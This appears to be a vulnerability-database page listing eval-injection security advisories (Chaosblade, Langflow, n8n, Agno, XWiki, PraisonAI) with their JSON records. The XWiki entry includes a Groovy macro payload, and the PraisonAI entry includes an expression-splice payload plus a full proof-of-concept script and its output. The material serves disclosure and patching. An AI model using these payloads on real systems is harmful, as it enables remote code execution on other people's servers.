Common Weakness Enumeration

CWE-95

Allowed

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Abstraction: Variant · Status: Incomplete

API response cwe.mitre.org

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

380 vulnerabilities reference this CWE, most recent first.

GHSA-723H-X37G-F8QM

Vulnerability from github – Published: 2024-09-18 18:30 – Updated: 2024-09-25 19:28
VLAI
Summary
Chaosblade vulnerable to OS command execution
Details

exec.CommandContext in Chaosblade 0.3 through 1.7.3, when server mode is used, allows OS command execution via the cmd parameter without authentication.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/chaosblade-io/chaosblade"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.3"
            },
            {
              "fixed": "1.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-47105"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-18T19:34:07Z",
    "nvd_published_at": "2024-09-18T17:15:18Z",
    "severity": "CRITICAL"
  },
  "details": "exec.CommandContext in Chaosblade 0.3 through 1.7.3, when server mode is used, allows OS command execution via the cmd parameter without authentication.",
  "id": "GHSA-723h-x37g-f8qm",
  "modified": "2024-09-25T19:28:11Z",
  "published": "2024-09-18T18:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47105"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chaosblade-io/chaosblade/commit/6bc73c31e14ea2b1bfc30f359e1fe952859d9adc"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-723h-x37g-f8qm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chaosblade-io/chaosblade"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chaosblade-io/chaosblade/blob/0a07380c9899febb2b544132783b376b44226cca/exec/os/executor.go#L68"
    },
    {
      "type": "WEB",
      "url": "https://narrow-oatmeal-0c0.notion.site/ChaosBlade-Remote-Command-Execution-CVE-2023-47105-4f5459046488436caaec2bced6ff26d7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Chaosblade vulnerable to OS command execution"
}

GHSA-74FG-MX2G-3CX8

Vulnerability from github – Published: 2026-08-29 00:31 – Updated: 2026-08-29 00:31
VLAI
Details

IBM Langflow OSS 1.0.0 through 1.11.1 allows an authenticated attacker to execute arbitrary operating system commands in the server process by saving a flow with a crafted type field value and triggering a build of a wrapper flow that references it. This allowed privilege escalation from "authenticated flow user" to arbitrary OS-level command execution under the server process identity, bypassing the LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false policy control.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-19295"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-28T22:16:47Z",
    "severity": "CRITICAL"
  },
  "details": "IBM Langflow OSS 1.0.0 through 1.11.1 allows an authenticated attacker to execute arbitrary operating system commands in the server process by saving a flow with a crafted type field value and triggering a build of a wrapper flow that references it. This allowed privilege escalation from \"authenticated flow user\" to arbitrary OS-level command execution under the server process identity, bypassing the LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false policy control.",
  "id": "GHSA-74fg-mx2g-3cx8",
  "modified": "2026-08-29T00:31:02Z",
  "published": "2026-08-29T00:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19295"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7284733"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-75G8-RV7V-32F7

Vulnerability from github – Published: 2026-02-25 21:21 – Updated: 2026-02-27 21:51
VLAI
Summary
n8n has Unauthenticated Expression Evaluation via Form Node
Details

Impact

A second-order expression injection vulnerability existed in n8n's Form nodes that could allow an unauthenticated attacker to inject and evaluate arbitrary n8n expressions by submitting crafted form data. When chained with an expression sandbox escape, this could escalate to remote code execution on the n8n host.

The vulnerability requires a specific workflow configuration to be exploitable: 1. A form node with a field interpolating a value provided by an unauthenticated user, e.g. a form submitted value. 2. The field value must begin with an = character, which caused n8n to treat it as an expression and triggered a double-evaluation of the field content. For example, a workflow uses a multi-step Form where a downstream Form node renders user-provided input back in an HTML field and precedes it with an = sign: =<h2>Thank you, {{ $input.first().json[\"Name\"] }}!</h2>

There is no practical reason for a workflow designer to prefix a field with = intentionally — the character is not rendered in the output, so the result would not match the designer's expectations. If added accidentally, it would be noticeable and very unlikely to persist. An unauthenticated attacker would need to either know about this specific circumstance on a target instance or discover a matching form by chance.

Even when the preconditions are met, the expression injection alone is limited to data accessible within the n8n expression context. Escalation to remote code execution requires chaining with a separate sandbox escape vulnerability.

Due to these real-world constraints — the unlikely workflow configuration, the need for an additional sandbox escape, and the difficulty of discovery — we have assessed the severity as High rather than Critical, diverging from the base CVSS score to better reflect actual exploitability.

Patches

The issue has been fixed in n8n versions 2.10.1, 2.9.3, and 1.123.22. Users should upgrade to one of these versions or later to remediate the vulnerability.

Workarounds

If upgrading is not immediately possible, administrators should consider the following temporary mitigations: - Review usage of form nodes manually for above mentioned preconditions. - Disable the Form node by adding n8n-nodes-base.form to the NODES_EXCLUDE environment variable. - Disable the Form Trigger node by adding n8n-nodes-base.formTrigger to the NODES_EXCLUDE environment variable.

These workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.

Severity
9.0 (Critical)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
9.5 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.123.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.10.0"
            },
            {
              "fixed": "2.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27493"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-25T21:21:36Z",
    "nvd_published_at": "2026-02-25T23:16:20Z",
    "severity": "CRITICAL"
  },
  "details": "## Impact\nA second-order expression injection vulnerability existed in n8n\u0027s Form nodes that could allow an unauthenticated attacker to inject and evaluate arbitrary n8n expressions by submitting crafted form data. When chained with an expression sandbox escape, this could escalate to remote code execution on the n8n host.\n\nThe vulnerability requires a specific workflow configuration to be exploitable:\n1. A form node with a field interpolating a value provided by an unauthenticated user, e.g. a form submitted value.\n2. The field value must begin with an `=` character, which caused n8n to treat it as an expression and triggered a double-evaluation of the field content.\nFor example, a workflow uses a multi-step Form where a downstream Form node renders user-provided input back in an HTML field and precedes it with an `=` sign:\n`=\u003ch2\u003eThank you, {{ $input.first().json[\\\"Name\\\"] }}!\u003c/h2\u003e`\n\nThere is no practical reason for a workflow designer to prefix a field with `=` intentionally \u2014 the character is not rendered in the output, so the result would not match the designer\u0027s expectations. If added accidentally, it would be noticeable and very unlikely to persist. An unauthenticated attacker would need to either know about this specific circumstance on a target instance or discover a matching form by chance.\n\nEven when the preconditions are met, the expression injection alone is limited to data accessible within the n8n expression context. Escalation to remote code execution requires chaining with a separate sandbox escape vulnerability.\n\nDue to these real-world constraints \u2014 the unlikely workflow configuration, the need for an additional sandbox escape, and the difficulty of discovery \u2014 we have assessed the severity as High rather than Critical, diverging from the base CVSS score to better reflect actual exploitability.\n\n## Patches\nThe issue has been fixed in n8n versions 2.10.1, 2.9.3, and 1.123.22. Users should upgrade to one of these versions or later to remediate the vulnerability.\n\n## Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Review usage of form nodes manually for above mentioned preconditions.\n- Disable the Form node by adding `n8n-nodes-base.form` to the `NODES_EXCLUDE` environment variable.\n- Disable the Form Trigger node by adding `n8n-nodes-base.formTrigger` to the `NODES_EXCLUDE` environment variable.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
  "id": "GHSA-75g8-rv7v-32f7",
  "modified": "2026-02-27T21:51:05Z",
  "published": "2026-02-25T21:21:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-75g8-rv7v-32f7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27493"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/issues/19"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/commit/562d867483e871b0f1e31776252e23bd721df75b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@1.123.22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.10.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n has Unauthenticated Expression Evaluation via Form Node"
}

GHSA-77RH-M34W-RV36

Vulnerability from github – Published: 2026-04-02 15:31 – Updated: 2026-04-04 06:02
VLAI
Summary
Agno is vulnerable to Eval Injection
Details

Agno versions prior to 2.3.24 contain an arbitrary code execution vulnerability in the model execution component that allows attackers to execute arbitrary Python code by manipulating the field_type parameter passed to eval(). Attackers can influence the field_type value in a FunctionCall to achieve remote code execution.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "agno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-04T06:02:27Z",
    "nvd_published_at": "2026-04-02T15:16:52Z",
    "severity": "CRITICAL"
  },
  "details": "Agno versions prior to 2.3.24 contain an arbitrary code execution vulnerability in the model execution component that allows attackers to execute arbitrary Python code by manipulating the field_type parameter passed to eval(). Attackers can influence the field_type value in a FunctionCall to achieve remote code execution.",
  "id": "GHSA-77rh-m34w-rv36",
  "modified": "2026-04-04T06:02:27Z",
  "published": "2026-04-02T15:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35002"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agno-agi/agno/commit/cbf675521d4d2281925a051784a3b94172e56416"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/agno-agi/agno"
    },
    {
      "type": "WEB",
      "url": "https://github.com/agno-agi/agno/releases/tag/v2.3.24"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/agno-field-type-eval-injection-arbitrary-code-execution"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Agno is vulnerable to Eval Injection"
}

GHSA-7954-6M9Q-GPVF

Vulnerability from github – Published: 2023-08-18 21:50 – Updated: 2023-08-18 21:50
VLAI
Summary
XWiki Platform privilege escalation (PR)/RCE from account through Invitation subject/message
Details

Impact

Any user who can view Invitation.WebHome can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. This can be reproduced with the following steps:

  1. Open the invitation application (Invitation.WebHome).
  2. Set the subject to {{cache}}{{groovy}}new File("/tmp/exploit.txt").withWriter { out -> out.println("Attacked from invitation!"); }{{/groovy}}{{/cache}}
  3. Click "Preview"

Patches

The vulnerability has been patched on XWiki 14.4.8, 15.2-rc-1, and 14.10.6.

Workarounds

The vulnerability can be patched manually by applying the patch on Invitation.InvitationCommon and Invitation.InvitationConfig.

References

  • https://jira.xwiki.org/browse/XWIKI-20421
  • https://github.com/xwiki/xwiki-platform/commit/ff1d8a1790c6ee534c6a4478360a06efeb2d3591

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-invitation-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.5-m-1"
            },
            {
              "fixed": "14.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-invitation-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.5"
            },
            {
              "fixed": "14.10.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-invitation-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "15.0-rc-1"
            },
            {
              "fixed": "15.2-rc-1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-37914"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-08-18T21:50:33Z",
    "nvd_published_at": "2023-08-17T18:15:14Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nAny user who can view `Invitation.WebHome` can execute arbitrary script macros including Groovy and Python macros that allow remote code execution including unrestricted read and write access to all wiki contents. This can be reproduced with the following steps:\n\n\n1.    Open the invitation application (Invitation.WebHome).\n1.    Set the subject to `{{cache}}{{groovy}}new File(\"/tmp/exploit.txt\").withWriter { out -\u003e out.println(\"Attacked from invitation!\"); }{{/groovy}}{{/cache}}`\n1.    Click \"Preview\"\n\n\n### Patches\nThe vulnerability has been patched on XWiki 14.4.8, 15.2-rc-1, and 14.10.6.\n\n### Workarounds\nThe vulnerability can be patched manually by applying the [patch](https://github.com/xwiki/xwiki-platform/commit/ff1d8a1790c6ee534c6a4478360a06efeb2d3591) on `Invitation.InvitationCommon` and `Invitation.InvitationConfig`.\n\n### References\n- https://jira.xwiki.org/browse/XWIKI-20421\n- https://github.com/xwiki/xwiki-platform/commit/ff1d8a1790c6ee534c6a4478360a06efeb2d3591\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
  "id": "GHSA-7954-6m9q-gpvf",
  "modified": "2023-08-18T21:50:33Z",
  "published": "2023-08-18T21:50:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7954-6m9q-gpvf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37914"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/ff1d8a1790c6ee534c6a4478360a06efeb2d3591"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-20421"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "XWiki Platform privilege escalation (PR)/RCE from account through Invitation subject/message"
}

GHSA-79FV-7HQ9-W7XG

Vulnerability from github – Published: 2026-10-08 19:36 – Updated: 2026-10-08 19:36
VLAI
Summary
PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source
Details

API deploy code generator embeds unescaped YAML fields into Python source

Summary

PraisonAI's API deployment generator copies deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agents_file directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.

Technical Details

The vulnerable path starts with deployment configuration parsing. Deploy.from_yaml() reads the operator-supplied agents.yaml, validate_agents_yaml() accepts deploy.api.host as a string, and API deployments call start_api_server(self.agents_file, self.config.api). start_api_server() calls generate_api_server_code() and executes the generated Python file with python.

The current generator in src/praisonai/praisonai/deploy/api.py treats deployment data as Python syntax:

def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str:
    ...
    code = f'''"""
...
        praisonai = PraisonAI(agent_file="{agents_file}")
...
        "agent_file": "{agents_file}"
...
    app.run(
        host='{config.host}',
        port={config.port},
        debug={config.reload}
    )
'''

The violated invariant is that deployment configuration values should remain inert strings. Instead, config.host is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:

' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '

The generated startup code then becomes equivalent to:

app.run(
    host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '',
    port=8005,
    debug=False,
)

That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator.

agents_file has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as " + (<side effect> and "") + " remains valid both in PraisonAI(agent_file=...) and in the /agents JSON response expression, so it executes when the generated handler evaluates that value.

PoV

The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as __main__; it also includes a safe-host negative control and the secondary agents_file route-time interpolation check.

from pathlib import Path
import json
import sys
import tempfile
import types

import yaml


def install_stubs():
    class FakeApp:
        def __init__(self, name):
            self.name = name

        def route(self, *args, **kwargs):
            def deco(func):
                return func

            return deco

        def run(self, *args, **kwargs):
            return None

    flask = types.ModuleType("flask")
    flask.Flask = FakeApp
    flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"})
    flask.jsonify = lambda obj: obj
    sys.modules["flask"] = flask

    flask_cors = types.ModuleType("flask_cors")
    flask_cors.CORS = lambda app: app
    sys.modules["flask_cors"] = flask_cors

    praisonai_mod = types.ModuleType("praisonai")

    class FakePraisonAI:
        def __init__(self, agent_file):
            self.agent_file = agent_file

        def run(self):
            return "ok"

    praisonai_mod.PraisonAI = FakePraisonAI
    sys.modules["praisonai"] = praisonai_mod


def main(repo):
    sys.path.insert(0, str(Path(repo) / "src" / "praisonai"))
    from praisonai.deploy.api import generate_api_server_code
    from praisonai.deploy.models import APIConfig
    from praisonai.deploy.schema import validate_agents_yaml

    install_stubs()

    with tempfile.TemporaryDirectory() as tmp:
        tmp_path = Path(tmp)
        host_marker = tmp_path / "host-marker.txt"
        file_marker = tmp_path / "agent-file-marker.txt"
        host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '"
        agents_yaml = tmp_path / "agents.yaml"
        agents_yaml.write_text(yaml.safe_dump({
            "deploy": {
                "type": "api",
                "api": {"host": host_payload, "port": 8005, "auth_enabled": False},
            },
            "agents": [{"name": "demo", "role": "demo", "goal": "demo"}],
        }))
        parsed_config = validate_agents_yaml(str(agents_yaml))

        results = []
        for label, config in [
            ("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)),
            ("malicious_host_from_yaml", parsed_config.api),
        ]:
            host_marker.unlink(missing_ok=True)
            code = generate_api_server_code("agents.yaml", config)
            compile(code, f"<generated-{label}>", "exec")
            exec(code, {"__name__": "__main__"})
            results.append({
                "case": label,
                "compiled": True,
                "host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None,
                "marker_exists_after_startup": host_marker.exists(),
                "marker_contents": host_marker.read_text() if host_marker.exists() else None,
                "generated_contains_raw_host": config.host in code,
            })

        file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \""
        file_marker.unlink(missing_ok=True)
        code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False))
        compile(code, "<generated-agent-file>", "exec")
        namespace = {"__name__": "generated_agent_file"}
        exec(code, namespace)
        namespace["list_agents"]()
        results.append({
            "case": "malicious_agent_file_route_value",
            "compiled": True,
            "marker_exists_after_list_agents": file_marker.exists(),
            "marker_contents": file_marker.read_text() if file_marker.exists() else None,
            "generated_contains_raw_agent_file": file_payload in code,
        })

    print(json.dumps(results, indent=2))
    return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1


if __name__ == "__main__":
    raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else "."))

PoC

Command used against current source:

uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI

Decisive output:

[
  {
    "case": "safe_host",
    "compiled": true,
    "host_preserved_by_yaml_parser": null,
    "marker_exists_after_startup": false,
    "marker_contents": null,
    "generated_contains_raw_host": true
  },
  {
    "case": "malicious_host_from_yaml",
    "compiled": true,
    "host_preserved_by_yaml_parser": true,
    "marker_exists_after_startup": true,
    "marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED",
    "generated_contains_raw_host": true
  },
  {
    "case": "malicious_agent_file_route_value",
    "compiled": true,
    "marker_exists_after_list_agents": true,
    "marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED",
    "generated_contains_raw_agent_file": true
  }
]

The safe_host negative control compiles and evaluates the generated module without a marker side effect. The malicious_host_from_yaml case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The malicious_agent_file_route_value case proves the secondary file-path interpolation executes when the generated /agents handler evaluates the generated response.

Impact

If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source.

Suggested Fix

Do not interpolate deployment values directly into generated Python source. Use repr() or json.dumps() for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace host='{config.host}' with a safely encoded literal such as host={config.host!r}, and apply the same safe encoding to agents_file in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings.

Affected Package/Versions

Package: praisonai

Confirmed current head: 1620b49f36945d8cc8ee5635b906c960df5097a0

Static sweep:

Target Result
v4.5.128 affected; raw agents_file and config.host interpolation present
v4.6.58 affected; raw agents_file and config.host interpolation present
v4.6.59 affected; raw agents_file and config.host interpolation present
v4.6.60 affected; raw agents_file and config.host interpolation present
v4.6.62 affected; raw agents_file and config.host interpolation present
v4.6.63 affected; raw agents_file and config.host interpolation present
current 1620b49f affected; raw agents_file and config.host interpolation present

Suggested severity: High

Suggested CVSS v3.1:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Suggested CWEs:

  • CWE-94: Improper Control of Generation of Code
  • CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code
  • CWE-116: Improper Encoding or Escaping of Output

Advisory History

The closest same-generator comparator is GHSA-8444-4fhq-fxpq, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because generate_api_server_code() emits deployment strings as Python syntax. The exploit primitive is generated-source injection from deploy.api.host and agents_file, not unauthenticated request access to the generated API.

This is also distinct from GHSA-6rmh-7xcm-cpxj / CVE-2026-44338, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in generate_api_server_code().

AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic.

References

  • src/praisonai/praisonai/deploy/api.py: generate_api_server_code() and start_api_server()
  • src/praisonai/praisonai/deploy/main.py: Deploy.from_yaml() and API/Docker deployment paths
  • src/praisonai/praisonai/cli/features/deploy.py: CLI deployment handler
  • GHSA-8444-4fhq-fxpq: prior praisonai deploy --type api generated API server authentication-default issue
  • GHSA-6rmh-7xcm-cpxj / CVE-2026-44338: prior generated API server authentication issue
  • CWE-94: https://cwe.mitre.org/data/definitions/94.html
  • CWE-95: https://cwe.mitre.org/data/definitions/95.html
  • CWE-116: https://cwe.mitre.org/data/definitions/116.html
Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61433"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:36:29Z",
    "nvd_published_at": "2026-07-15T17:16:52Z",
    "severity": "HIGH"
  },
  "details": "# API deploy code generator embeds unescaped YAML fields into Python source\n\n## Summary\n\nPraisonAI\u0027s API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled.\n\n## Technical Details\n\nThe vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`.\n\nThe current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax:\n\n```python\ndef generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -\u003e str:\n    ...\n    code = f\u0027\u0027\u0027\"\"\"\n...\n        praisonai = PraisonAI(agent_file=\"{agents_file}\")\n...\n        \"agent_file\": \"{agents_file}\"\n...\n    app.run(\n        host=\u0027{config.host}\u0027,\n        port={config.port},\n        debug={config.reload}\n    )\n\u0027\u0027\u0027\n```\n\nThe violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression:\n\n```text\n\u0027 + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + \u0027\n```\n\nThe generated startup code then becomes equivalent to:\n\n```python\napp.run(\n    host=\u0027\u0027 + (__import__(\"pathlib\").Path(\"poc.txt\").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + \u0027\u0027,\n    port=8005,\n    debug=False,\n)\n```\n\nThat expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment 